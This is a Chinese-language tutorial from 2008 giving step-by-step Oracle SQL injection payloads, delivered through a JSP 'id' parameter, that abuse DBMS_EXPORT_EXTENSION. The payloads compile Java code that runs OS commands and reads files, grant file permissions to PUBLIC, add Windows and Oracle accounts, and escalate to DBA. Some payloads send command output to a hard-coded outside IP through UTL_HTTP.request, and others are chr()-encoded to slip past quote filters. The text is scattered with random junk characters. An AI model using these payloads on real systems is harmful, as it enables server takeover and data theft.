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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。- i0 D5 N5 e: N* l% ~
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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, d4 q" g9 n3 C/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)% F' _& |8 W5 K' L8 C
0 @5 _* ?+ I. }- D% m" `的形式即可。(用" 'a'|| "是为了让语句返回true值)
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5 Y; J* o( y4 Z$ u9 I0 x语句有点长,可能要用post提交。
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以下是各个步骤:# u H* g# m+ \$ `( H
5 T, {& L* w, X7 \# V5 Q0 | {1.创建包( C, u3 Y* J s, {# G! O' Y. N
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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9 A, _$ B! \/ ~# |, t0 [9 a' l; P/ lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: t- d+ ^" l5 c, v& p6 ?, [; l) @- ]create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
. _+ B5 G1 Z! I9 W+ c( I( \new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}1 y6 i# o$ h4 _8 q1 f; l8 c; m8 n; u
}'''';END;'';END;--','SYS',0,'1',0) from dual- i! ~) _! e3 Z4 h6 ~. O. y! o
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0 c; Y/ }4 t3 ]6 C) n' x------------------------
. ^. K5 w) Q1 O: z如果url有长度限制,可以把readFile()函数块去掉,即:
* o; A+ |: c; C( }- K# h/xxx.jsp?id=1 and '1'<>'a'||(
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' B( C, v5 f+ D3 Y4 b$ Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! ?' |1 j% a8 h; f7 D' `4 Hcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
6 s: y) G' t+ u0 j7 a! `" D7 xnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
n& l) ^7 e) A7 \}'''';END;'';END;--','SYS',0,'1',0) from dual
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: H0 D2 c. v) v9 h9 {2 W同时把后面步骤 提到的 对readFile()的处理语句去掉。
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0 b4 w8 D2 H9 J8 q2 i: N& r2.赋Java权限! C& p2 R8 p& p* K. ^! B6 y
& s+ `- d. ?8 \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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3.创建函数4 b$ \2 y! v2 @, Z h, K4 X8 c
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 u! K$ J7 q" \8 h( n! fcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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$ g4 G) V: `) w/ Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# b; o1 ^/ W' S2 k6 w
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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" w% D; T1 {$ I8 j4.赋public执行函数的权限1 K' G- O* ?3 D9 }
, j5 w F6 q. T, B. W& A; r% iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual- W0 N2 k3 |5 K0 r
6 M% w Q$ F' g: d' Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual# A" j& u& c# g I+ @3 e1 s
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5.测试上面的几步是否成功8 V$ ~; j: ~% d1 r6 U; Z8 V. e
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; t. J+ P- O% dselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'% R7 v5 A6 k& M1 G8 D% _
)
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and '1'<>(
. U' p( {" {6 m, q8 Nselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'' k/ S: K' c/ P1 y
)
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" W' k; y8 D' l1 v& m( H6.执行命令:
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+ t$ }& C. A1 B/xxx.jsp?id=1 and '1'<>(& l$ h! t& U2 o5 Z. e( h! H
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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select sys.LinxReadFile('c:/boot.ini') from dual* h8 M7 ~( J$ \9 G U6 F
)
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" [7 w! T0 G5 F5 h$ c% b3 `' h注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
7 i V5 O6 V4 Q4 k如果要查看运行结果可以用 union :
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' b- H, x0 L; y7 B4 B0 \, i$ c6 p/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual6 L# P5 O0 J$ h ^! ~* I. y1 l
. j' v/ s" C8 `7 N或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(
6 }$ ?1 l$ d+ T3 o% aSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual. o4 O% Q8 z8 q: N( Y
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/xxx.jsp?id=1 and '1'<>(
! O/ F% r6 ~+ h! T8 @) g' x CSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual3 D, t3 ?: b- B+ |% b
)
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。$ B3 R' w% n S# v1 A4 ]: w8 l
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0 P9 f. A7 N8 ^$ v8 ?" U5 H n/ i--------------------
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1 ^ ]+ R4 [/ S& s6.内部变化
3 v' M% M7 \, i. ]4 Y" o6 W通过以下命令可以查看all_objects表达改变:
& j7 V& j% A0 B* @' s- aselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'9 B# }; n' A4 R
: I$ d" ?' g2 D# i7.删除我们创建的函数3 l+ I" z% y: o# r( R9 t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 u+ n2 [1 L8 Odrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual: s$ ]- I# r/ \% q
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====================================================+ ~1 ^6 h1 X# c* E/ R, l. I
全文结束。谨以此文赠与我的朋友。' d( Z5 k) x/ i' j M
( i5 c* B- c" q; Alinx
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6 h( B$ {; ~' u5 W/ Y1 C2008.1.120 t) I# \" ` o' T
linyujian@bjfu.edu.cn
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======================================================================
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测试漏洞的另一方法:
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创建oracle帐号:# H: w. p e, A0 z! L% y w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 C O* |) F+ t$ g
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual; I3 t4 @5 M' r% w9 y& e8 G
% S* C, _9 u' X. z! s/ @& |3 u即:
8 l4 w( n2 l1 x1 n1 B' Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; l5 a% O- ?) S: T9 ?chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual { m" P5 k# E* X3 m# c* D$ J
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确定漏洞存在:
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) o2 G3 n, |+ `6 a4 Kselect user_id from all_users where username='LINXSQL'
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给linxsql连接权限:& R) ^% Z- c6 D+ [, I; Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% H( b) z g; J0 RGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual6 L) N/ _3 e( ? o$ ^1 g- I
+ i x% z9 I0 P删除帐号:2 L5 f( X$ i+ H) e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 v( S4 d# o0 Q" `2 [$ M- Kdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual+ C2 A( t& l& v. X% h
$ ] V( \& [ j M0 |======================
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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' w m& l3 ]$ f1 C" o1.jsp?id=1 and '1'<>( F7 l- u. T) e1 c6 G! v4 ~) U5 L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 z( l! Z7 q4 M9 N1 v. ]
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual: [- A4 t3 H$ l0 H% l, d
) and ...
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+ b8 W6 ]$ ~( n" M1.jsp?id=1 and '1'<>(
. V' H s# \* f0 b' ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(! _2 q+ W: L/ F
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL. D2 H# d) r0 X/ W- U% T
) and ...
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+ X! Z, m" P4 p6 x6 H* W# @1.jsp?id=1 and '1'<>(
# i. w" `- o8 C t3 l1 ~# n) hSELECT sys.Linx_Query('declare pragma
* _ ~( `+ v1 Y" c3 ^5 @4 Sautonomous_transaction; begin execute immediate ''
: q6 p" c- |0 U; dselect 1 from dual* [5 N }, y r0 E6 {/ o
''; commit; end;') from dual
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4 c# i/ ?; u) S; d多语句:
4 m9 z9 i7 A- G H2 QSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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& W1 X/ A+ i8 V: G5 X创建用户(除非当前用户有system权限,否则无法成功):
$ b0 p; I; y2 j0 F' q$ M4 hSELECT sys.Linx_Query('declare pragma p* h3 T- f* f. s1 y, O
autonomous_transaction; begin execute immediate ''
0 x% O# p; |. ]* a& x) xCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User) U% h1 Y3 A! R C- L2 q
''; commit; end;') from dual2 a* m6 ~& k( I Z
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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()$ l M3 K7 T7 P# e
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1.创建函数+ O0 r# U* m) o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 b& }1 I+ N7 S* u/ t/ i
create or replace function Linx_Query (p
3 |, q% A0 E. @" q6 f" m" Avarchar2) return number authid current_user is begin execute immediate& x" u% v1 s# {' s& G. O- C
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;9 f; ^ ~ h5 h5 r0 S$ ~* k! p: I
. Z3 W$ R: k/ k1 O" Q+ t" A y如果有权限,以下语句应该允许正常
1 x9 N9 Z2 Y. h. Z6 b) ]& a7 {. V; Bselect sys.linx_query('select 1 from dual') from dual;
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不然的话运行:7 f+ l( Q4 L+ m- _# N8 o$ L
J( s( d( \0 k& q) Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( T" Z6 r) g$ s& g- bgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual& B! J. S8 G) e9 ?8 D3 ^! K P9 |& N
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2.创建包) z0 u# p* k8 A6 F' }
SELECT sys.Linx_Query('declare pragma
: P6 Y* l2 t7 z6 `5 h, x: }' yautonomous_transaction; begin execute immediate ''
: F5 ?5 m; p1 z% ^$ Q) y3 g: xcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(9 v5 Z9 A# e. g
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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3.创建函数
. R& |7 }2 @2 b y3 TSELECT sys.Linx_Query('declare pragma
. Z& V+ O+ I! O/ j3 a- E) {* pautonomous_transaction; begin execute immediate '', g' q/ x6 r) M3 Z% Y, q! ~( \
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual: ]% a' b# V+ i' P4 J' z, w
6 ~. D2 H* {$ k5 e7 n
4.给权限
8 \7 [3 g1 H2 s* ?4 o* o4 g给用户SYSTEM执行权限:+ x: B$ u" ^9 ^) E
- d. H0 F: i2 T+ D d
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
0 ` p7 \0 n4 w: g
U! U0 \; c- ~3 }& B: I) g! M+ U+ F l* ] o3 s; m" c. `/ G' I
$ R% f% i4 D. G7 U7 Q7 B5 O5 r6 r5.执行函数
" x! D1 V2 }, f2 ?select RunCMD2('cmd /c dir') from dual
) }! ^' v% M2 p, Z0 u' O: K1 g) p* a5 `+ T% t
4 h* }! e) R& d' J# U q, o& M! S+ O
6 x8 R X" D ] u& |0 z
$ ?8 A; ]' O9 m* ^5 {7 E5 k% y3 N2 ^$ S. ]7 G& v0 ~# g
==================6 q P7 j! i1 _, S+ X" N
================================
& H% N& u, J! E! u3 q7 `
+ }0 w" [5 _% T* }3 U: s3 I8 j以下是无 " ' " 版:
8 B% S" E" L* g, h( |# s
( S2 D- O1 l& {% M! S以下是各个步骤:
/ f2 X J) H9 j U+ \7 N2 L0 X
$ |- X4 O' N& C! {$ _( r) K1.创建包1 |3 s4 r6 J5 W. P
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:& r$ K8 H/ f s7 \
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
6 }& d; [+ ?8 N8 F% r6 ` e/ ~) [; A" J: K6 Z9 S4 i! L( ~# B
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
5 G* h* w+ f6 o1 R
- h* n, ]( G/ Y& ]( R: eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
% J. I- n* g L) C- a) A7 Rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||& B, e+ |2 u% a$ `2 \
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||, @; n$ E0 E0 ]
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
. T4 T( a/ L9 T; k( J/ w. k% V0 achr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)|| y) n5 \* b F9 Z- }
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||0 L. ]" a3 `/ w; ?
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
* Z1 ]3 o$ g: F. \) ]0 d8 h& Z6 hchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||5 r4 n) M, E& e5 L- s6 ?
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
: \6 J+ I( \, R6 U& h9 schr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||5 Y& o$ L1 }+ Y! d7 H9 Z+ [5 A5 V$ l4 `& {
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
* a) d8 D' D: i- h1 vchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||+ c; S/ j. \3 ^! K8 {, c
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
4 t3 u L/ K U' Dchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
# C, D$ |! I; k, c3 G# Dchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
& j* W% d% r/ X& v8 s3 l& Achr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
6 N9 |9 H7 {2 mchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
/ Q" {9 W2 j2 D s8 Ichr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
" c) d! M2 z. m4 L; d4 Wchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||+ b$ s! q/ y% m* P
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||# y6 u7 P. a/ o( u5 {% j* {
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
' N' Y6 ?: N& u* i9 Y& L* a# N0 Xchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||% @( Z7 ~* ^! |
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||# R L' k0 |2 F- \& T5 I/ K
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
" Z$ L7 k A% i0 Dchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||- p5 S: }6 n4 s
